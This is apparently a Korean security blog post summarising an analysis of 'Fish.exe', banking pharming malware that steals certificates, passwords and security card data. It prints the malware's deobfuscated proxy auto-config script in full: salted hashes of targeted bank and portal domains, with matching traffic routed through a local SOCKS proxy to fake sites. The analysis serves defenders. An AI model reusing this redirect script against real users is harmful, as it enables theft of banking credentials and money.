금융권 파밍 악성코드
- 보안 정보/악성코드 관련 정보
- 2016. 11. 14. 16:37
malwares.com 코드분석팀 분석 자료
<부제 : 호스트파일을 변조하지않고 파밍을? >
1. 개요
- 공인 인증서
- 비밀번호
- 보안카드 정보
< Figure 1. 공인 인증서 탈취 코드 (일부) >
< Figure 2. malwares.com 내 행위분석 정보 >
< Figure 3. 악성코드에 의해 설정된 프록시 정보 >
만약 감염 PC내 사용자가 인터넷에 접속할 경우 프록시 주소와 통신하게 된다.
< Figure 4. 난독화/패킹된 악성 스크립트 >
악성코드에 실행되는 스크립트는 난독화/패킹되어 있어 난독화 해제/언패킹 동작을 수행해야 한다.
function aowa(s) { return bbl(coaoo(str(s), s.length * 8)) } function coaoo(x, len) { x[len >> 5] |= 0x80 << (24 - len % 32); x[((len + 64 >> 9) << 4) + 15] = len; var w = Array(80); var a = 1732584193; var b = -271733879; var c = -1732584194; var d = 271733878; var e = -1009589776; for (var i = 0; i < x.length; i += 16) { var olda = a; var oldb = b; var oldc = c; var oldd = d; var olde = e; for (var j = 0; j < 80; j++) { if (j < 16) w[j] = x[i + j]; else w[j] = rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1); var t = safeadd(safeadd(rol(a, 5), lwo_ft(j, b, c, d)), safeadd(safeadd(e, w[j]), lwo_kt(j))); e = d; d = c; c = rol(b, 30); b = a; a = t } a = safeadd(a, olda); b = safeadd(b, oldb); c = safeadd(c, oldc); d = safeadd(d, oldd); e = safeadd(e, olde) } return Array(a, b, c, d, e) } function aisoixo(s) { return aowa(aowa(s) + 'owisoaio') } function lwo_ft(t, b, c, d) { if (t < 20) return (b & c) | ((~b) & d); if (t < 40) return b ^ c ^ d; if (t < 60) return (b & c) | (b & d) | (c & d); return b ^ c ^ d } function lwo_kt(t) { return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514 } function safeadd(x, y) { var lsw = (x & 0xFFFF) + (y & 0xFFFF); var msw = (x >> 16) + (y >> 16) + (lsw >> 16); return (msw << 16) | (lsw & 0xFFFF) } function rol(num, cnt) { return (num << cnt) | (num >>> (32 - cnt)) } function str(str) { var bin = Array(); var mask = (1 << 8) - 1; for (var i = 0; i < str.length * 8; i += 8) bin[i >> 5] |= (str.charCodeAt(i / 8) & mask) << (32 - 8 - i % 32); return bin } function bbl(binarray) { var iil_tab = 0 ? "0123456789ABCDEF" : "0123456789abcdef"; var str = ""; for (var i = 0; i < binarray.length * 4; i++) { str += iil_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) + iil_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF) } return str } var aox = { "953a79295a0437b0d8e5e6e90313504253e9f019": 1, "3d25981ac6e70da136a550f86af0f054e27ff6c7": 1, "ba5b53e2bf18b1cc81ad64ece2b5976af1d3585c": 1, "87edd3a743847c85cac9faef64c9f1411c71a4e1": 1, "aefee035dc2e2b499ba1238ad572d286016cfb80": 1, "74447f0112f57bf9012ad16c3a6d6d09d50183ff": 1, "2444e1c2cf81cf26a226ff4f150ee051e30582c2": 1, "c0dc72625419f6a3efe9e6615b81fdeb0dfe173e": 1, "d6162df137c6c9184a49bf590c5f9361982af43c": 1, "bc2738f25d6cf977152bfe4a197a59231707d95e": 1, "2d52733f6bc76c626a7b3c0322b320d75a04bff8": 1, "60b12bba7a8704393f69be4c25bc1f54faa3f109": 1, "924025f1e6eb4525ebee3ba8a8c1f1b02bdd374a": 1, "526937c0cf5d1a22f0eb58e1a231a32976ebc742": 1, "61141ef21efc697d4f85abbc45bd83201e8c463d": 1, "26919b27b93576559fbdc15bec26794ea9b17a80": 1, "c5229c9f03e93939ab941a91aaa5098a3f3eaad7": 1, "d15f3fa4969e6ac0974d3e82c79382f6a8ddd354": 1, "2863c98a4622418df5f121c382ed550335e61234": 1, "ce5ce66f6a83840c626fbb3586ec5e6c97701d36": 1, "faa7fc18bd44f374a684761b470918c92b788faa": 1, "cd90c43d3dbe38ba13822671517535f3b3d97f9e": 1, "b7936e3501a38ef6a56f2014404eaa7a501801ea": 1, "ceda0542a1f1a6e1c40c750377435c4eb9b331f0": 1, "0ddbb6c285b1b9d33ffcb078c268fa2930c88559": 1, "9f31c3b1864a529fe2b8ecfaa56de879f2a37eac": 1, "968321a4ef21fb60cc7b5f10605e6f728a53a696": 1, "4e00f1bd0252d9f764e36b62f3a77c03b3f13e53": 1, "3a8349016e12e2fe687271827f49fab74eb8124d": 1, "124f5da2a8298f158f9eb136b65e198f25a7056a": 1, "d7670dca6fa30c6c6cf532218c6d421a018fb730": 1, "758b74513ecf92cf8e02ac2f0c2c905f2d4ff79a": 1, "2be2aff28b85b3b5e877acc60e57570f76237708": 1, "69eb22f1b2467163bda5e1cd51f1966fc0cccb27": 1, "beda41c0daeb9121221aee0b85578f504da8bdfd": 1, "6c9e3e7c9a20d5d077fedea41a75b6fe68ad883b": 1, "6f7f38d3223e4dbf65b960015c2ef880c0cfff91": 1, "403c0282c850323717eb3d981796257ed02dbe0c": 1, "77f097d910caf0a025e1c36fa6feb5a7bcb0d05b": 1, "f988b973ca56dfa8b7331085c516bdf37e826100": 1, "b6b01a5a645f8bf9d91173eff79f01601d17241d": 1, "5c47b44615ada7708dfa1fde4adb1edfbe529aa6": 1, "65e83c26be0ae6d4ba38acd9fc701ab2c507d140": 1, "884b3fe0d7d47d1109ae1b99ac40f12d6e4dce8a": 1, "98b1f07933ad95257aaf4afc2eb94dc8e6a31b72": 1, "7bbbcfe533d97b19d360f8d20fc322e36dca0a67": 1, "b8b8e35911eaa2ad36af9cf2b5d2699ab087bba9": 1, "565f218af42ee7b6e1ae039c2666cc40c12c9b36": 1, "4ef374bf19a047fda40cd02a87206e674217bb05": 1, "3a29bd5955f297572d0f88f8fc152c6c3e43dc3c": 1, "a96d20e71ade7ef37cd8f37447d4a1e7540e257c": 1, "079579685499c6782c19b76e1586e0d9ed147abb": 1, "fb9a77e6b5bf6159f9cd0565ce96b2ab47171a4b": 1, "1e8e7f552a81cd13a0571c5bab750bc105c8b081": 1, "78ad3e8f28fe1becd40296054be8e94c3246475a": 1, "d9a623db2ad3ee2e9c07c05ab65384f120c08f33": 1, "9aafc9f0ee4c12303891e6ec4e804a85c107c72f": 1, "9fe443822a6a054d9e621ef167bcdf0951236953": 1, "61a4ada84443927246fbcc69326d1a833b9b0c45": 1, "6c6d24863e7b3ac17dfe934f77a5718f9939b1d4": 1, "525b27c2ccdda6860abd307f13b4ac4eeb4a5d67": 1, "fac641b7ea70e6d71dec2eebdb2064ce68d4b8c9": 1, "8beecd4c12ef342e8f18b5d48967777927b470ee": 1, "f5c9142658c3bc1a9c08d71eb1230be458cc27de": 1, "4fed91358c2996808ca19f419b6f283438c6ad87": 1, "e620b75aa617fdb5676180985ecae8fb2d00ef90": 1, "00908c442197f8f83e8f231c0b6d18732d358127": 1, "180354afcf88d422c604cafb6dc3960845f6c286": 1, "6b2483682e92a91108ddb869ce189cb4ee5ad4e2": 1, "1e74a66e85411ba3fd12563bfa7256314aee1443": 1, "4635396032b89336578a6e9bea878b90518d95ee": 1, "bbf5b652eb0feb10fd72d8c7fcb644b8428cc367": 1, "1c98cccb1a0938dfa063232da7588c460e726f66": 1, "33f374c44ae1281455d393390cc379308047ef49": 1, "f725165e7d74eaad25e6a036f3595fa5b677217c": 1, "a2dbcfb0386e319c0feeabdc2a1fd82d5d20a481": 1, "565fb8736e13d3b75d21be9cf6f4127a1f0e26bf": 1, "6a81a32309980f5d9fc20749bcf1419102e492ab": 1, "1892fc6d270ad55f810d424ed48893875047156e": 1, "0d26da021464202bfbee78f6ecc500d0d12a0ffd": 1, "f0853f9a50271c5d88dc524843e12f740df5e4a1": 1, "5d4316d35dc6cf7afd613f0c1bbdd781457baf34": 1, "8b3ee924d16975e9ec0c63d740ccd0adb68bc3de": 1, "1f30dba9933b23e550403598961488814158e21b": 1, "b81d2f67b86ad22eae7c70a92cf1d27dc0d3198b": 1, "443353e053c09590a296e41fe0f002dcc5e27948": 1, "52e7e52dab8a2ca0586038fc197843347c1c65cf": 1, "600df3a6398d14405fdb62a6dcee0a1b2d304da9": 1, "d0f2a062d5622a0c0a343d0f97ef0d0d5c02193f": 1 }; var aoo = "SOCKS 127.0.0.1:1164"; var oao = 'DIRECT;'; var hasOwnProperty = Object.hasOwnProperty; function FindProxyForURL(osx) { if (hasOwnProperty.call(aox, aisoixo(osx))) { return aoo } return oao }
< Figure 5. 난독화 해제/언패킹된 악성 스크립트 >
난독화 해제된 스크립트는 FindProxyForURL( ) 함수로 사용자가 접속하는 도메인의 호스트를 전달받아 URL을 내부 해시로 변경해 저장되어 있는 해쉬와 비교한다. 만약 일치한 값이 있을 경우 파밍 사이트를 팝업하게 된다.
이때 비교하는 해쉬 값은 단방향 연산만 가능하므로 해쉬 값을 통해 대상 사이트를 확인할 수는 없으므로 (공인 인증서 탈취, 팝업 정보 등을 바탕으로) 대상 사이트로 추정되는 URL을 입력해 해쉬값을 추출해 비교해야 한다.
< Figure 6. 확인된 대상 사이트 >
이러한 과정을 통해 확인된 대상 사이트는 다수의 금융권과 포털, 인터넷 쇼핑몰등 금융 거래가 유발되거나 사용자 접속이 많은 사이트를 대상으로 했음을 알 수 있다.
< Figure 7. 악성 홈페이지 >
< Figure 8. 탈취된 개인정보 전송 >
3. 파일 정보
- 파일명 : Fish.exe
- SHA-256 : 5CF8CF674D9E68FDBF4AFF2074519E367FD3545FC0CA716E4406C1F85996B3D4
- 특징 : ASPACK
- 목적 : 금융정보 탈취 (공인 인증서, 계좌 번호, 보안카드 정보, 이체 비밀번호, 이름)
'보안 정보 > 악성코드 관련 정보' 카테고리의 다른 글
케르베르 (Cerber) 랜섬웨어 (1) | 2017.01.02 |
---|---|
대북 관련 APT 악성코드 (0) | 2016.11.18 |
연휴기간 동안 발생한 보안사고 정리 (0) | 2016.10.04 |
도널드 트럼프 랜섬웨어? (0) | 2016.09.27 |
VBA Form을 활용한 매크로 바이러스 (0) | 2016.03.14 |
이 글을 공유하기